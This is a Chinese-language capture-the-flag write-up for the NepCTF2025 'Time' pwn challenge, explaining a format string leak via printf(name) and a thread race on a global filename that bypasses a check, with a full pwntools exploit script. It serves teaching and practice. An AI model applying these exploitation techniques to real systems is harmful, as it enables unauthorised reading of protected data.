Time
前言
关注公众号【Real返璞归真】,回复【NepCTF2025】获取附件下载地址。
题目名:Time
解题数:101
题目描述:时间就是答案。
知识点:格式化字符串漏洞、多线程时间竞争实现竞态绕过(全局变量改写)
竞态(Race):多个操作并发执行时争夺资源,结果取决于执行顺序。
逆向分析
拖入IDA分析,找到main函数:

main函数先调用inputName函数允许我们输入name:

我们输入的name被存储到全局变量,然后程序会执行fork函数创建子进程。
fork函数原型:
pid_t fork();
创建成功会返回子进程的pid,然后父进程使用wait函数等待子进程结束。
此时,子进程会执行execve函数执行/bin/ls / -al命令输出根目录的文件列表,执行完毕后子进程结束。
子进程结束后,父进程输出good luck并返回到main函数继续执行。
此时,main函数循环调用inputFilename函数让我们输入文件名:

程序会将我们的输入与flag进行比较,若输入非flag字符串,则返回True允许向下继续执行。
当我们输入非flag字符串后,程序会启动线程并调用start_routine函数:
pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
继续分析start_routine函数:

根据输出,我们可以推断出它根据文件名读入文件内容,并计算MD5后输出。
然后将文件内容读入到buf变量,并执行printf(name)函数输出name触发格式化字符串漏洞。
利用思路
格式化字符串泄露数据
显而易见,利用思路非常简单,文件内容被读入到buf变量但没有输出。
程序执行了printf(name),存在格式化字符串漏洞,我们的目的是泄露存储在buf中的文件内容。
为了通过格式化字符串漏洞泄露栈上变量buf的内容,我们需要通过动态调试计算出buf变量的偏移量。
我们在程序运行目录下创建hint.txt文件,并写入flag{123},然后在printf(name)处下断点:
gdb.attach(p, 'b *$rebase(0x2D0B)\nc')
pause()
p.sendlineafter(b'please input your name:\n', b'a'*8)
p.sendlineafter(b'input file name you want to read:\n', b'hint.txt')
此时,会发现无法触发这个断点,是因为gdb尝试脱离(detach)父进程并附加(attach)子进程。
我们可以在gdb中使用set follow-fork-mode patrent让gdb始终保持对父进程的附加调试。
gdb.attach(p, 'set follow-fork-mode parent\nb *$rebase(0x2D0B)\nc')
pause()
此时,程序会断点在printf(name)函数处:

我们使用search命令搜索hint.txt中的内容:

发现它所处的内存地址为0x7f4e78cc6a60,这也是buf变量在栈中的位置。
当前的栈顶地址为0x7f4e78cc69e0,而printf函数的第一个参数为格式化字符串(rdi寄存器)。
因此,偏移量应该从第2个参数开始计算,其余参数分别通过rsi、rdx、rcx、r8、r9、栈传递。
栈顶位置的数据应该为printf函数的第6个参数,所以buf变量应该为printf函数的第6 + (0x7f4e78cc6a60-0x7f4e78cc69e0) / 8 = 23个参数。
因此,我们需要使用%22$p泄露该地址处的数据(printf函数的第一个参数为格式化字符串,%1$p代表printf函数的第二个参数)。
p.sendlineafter(b'please input your name:\n', b'%22$p')
p.sendlineafter(b'input file name you want to read:\n', b'hint.txt')
p.recvuntil(b'hello ')
leak_data = int(p.recvuntil(b' ,your file read done!\n', drop=True), 16)
leak_data = leak_data.to_bytes(8, byteorder='little')
此时,可以泄露出的内容为:
b'flag{123'
发现并不完整,因为我们的实际flag长度大于8个字节,我们需要继续泄露高地址处的数据。
p.recvuntil(b'hello 0x')
leak_data = p.recvuntil(b' ,your file read done!\n', drop=True)
leak_data = leak_data.split(b'0x')
for x in leak_data:
tmp = int(x, 16)
tmp = tmp.to_bytes(8, byteorder='little')
print(tmp, end='')
此时,可以成功泄露出hint.txt的内容:
b'flag{123'b'}\n\x00\x00\x00\x00\x00\x00'
我们已经通过printf(name)函数泄露的栈上的buf变量,如果我们输入的文件名是flag则可以直接泄露flag的内容。
但是,我们在分析inputFilename函数时发现,如果我们输入的文件名为flag,则不会执行start_routine函数。
条件竞争绕过检查
前面的分析中,我们发现每次输入文件名后程序并不是直接执行start_routine函数,而是通过pthread_create创建新的线程执行。
这就存在时间竞争漏洞,逻辑如下:
- 我们在
inputFilename函数中输入合法的文件(非flag)从而通过程序的检查。 - 程序通过
pthread_create启动一个新线程,新线程执行start_routine函数,访问全局变量file(文件名)。 - 主线程进入下一次循环,在新线程执行前/执行期间,再次篡改这个全局变量file。
- 导致子线程原本应该依赖未修改值file读入文件的内容,结果读入修改后的file的文件内容,从而造成逻辑绕过。
编写脚本(可能需要多次运行):
p.sendlineafter(b'please input your name:\n', b'%22$p%23$p%24$p')
p.sendline(b'hint.txt')
p.sendline(b'flag')
p.recvuntil(b'hello 0x')
leak_data = p.recvuntil(b' ,your file read done!\n', drop=True)
leak_data = leak_data.split(b'0x')
for x in leak_data:
tmp = int(x, 16)
tmp = tmp.to_bytes(8, byteorder='little').decode()
print(tmp, end='')
exp
from pwn import *
elf = ELF("./time")
libc = ELF("./libc.so.6")
p = process([elf.path])
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# gdb.attach(p, 'set follow-fork-mode parent\nb *$rebase(0x2D0B)\nc')
# pause()
# 格式化字符串漏洞泄露buf内容
p.sendlineafter(b'please input your name:\n', b'%22$p%23$p%24$p')
# 时间竞争
p.sendline(b'hint.txt')
p.sendline(b'flag')
# 将泄露出的十六进制转文本
p.recvuntil(b'hello 0x')
leak_data = p.recvuntil(b' ,your file read done!\n', drop=True)
leak_data = leak_data.split(b'0x')
for x in leak_data:
tmp = int(x, 16)
tmp = tmp.to_bytes(8, byteorder='little').decode()
print(tmp, end='')
p.interactive()
1944

被折叠的 条评论
为什么被折叠?



